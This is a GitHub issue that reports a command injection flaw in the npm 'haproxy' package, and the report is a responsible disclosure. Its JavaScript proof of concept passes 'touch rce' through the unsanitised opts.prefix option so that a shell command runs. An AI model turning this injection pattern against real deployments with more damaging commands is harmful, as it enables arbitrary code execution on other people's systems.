Skip to content

Potential command injection vulnerability in haproxy #36

@xiaofen9

Description

@xiaofen9

Hi,

We would like to report a potential security vulnerability.
The bug is introduced because the package-exported method fails to sanitize its opts.prefix parameter and lets it flow into a sensitive command execution API.

Here is the proof of concept.

const lib = require('haproxy');

var opts = {
 prefix: 'touch rce', 
 which: ' '
}
var a = new lib(opts)
a.orchestrator.run(['haproxy'], () => {})// a file named rce will be created

Please consider fixing it. thanks!

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions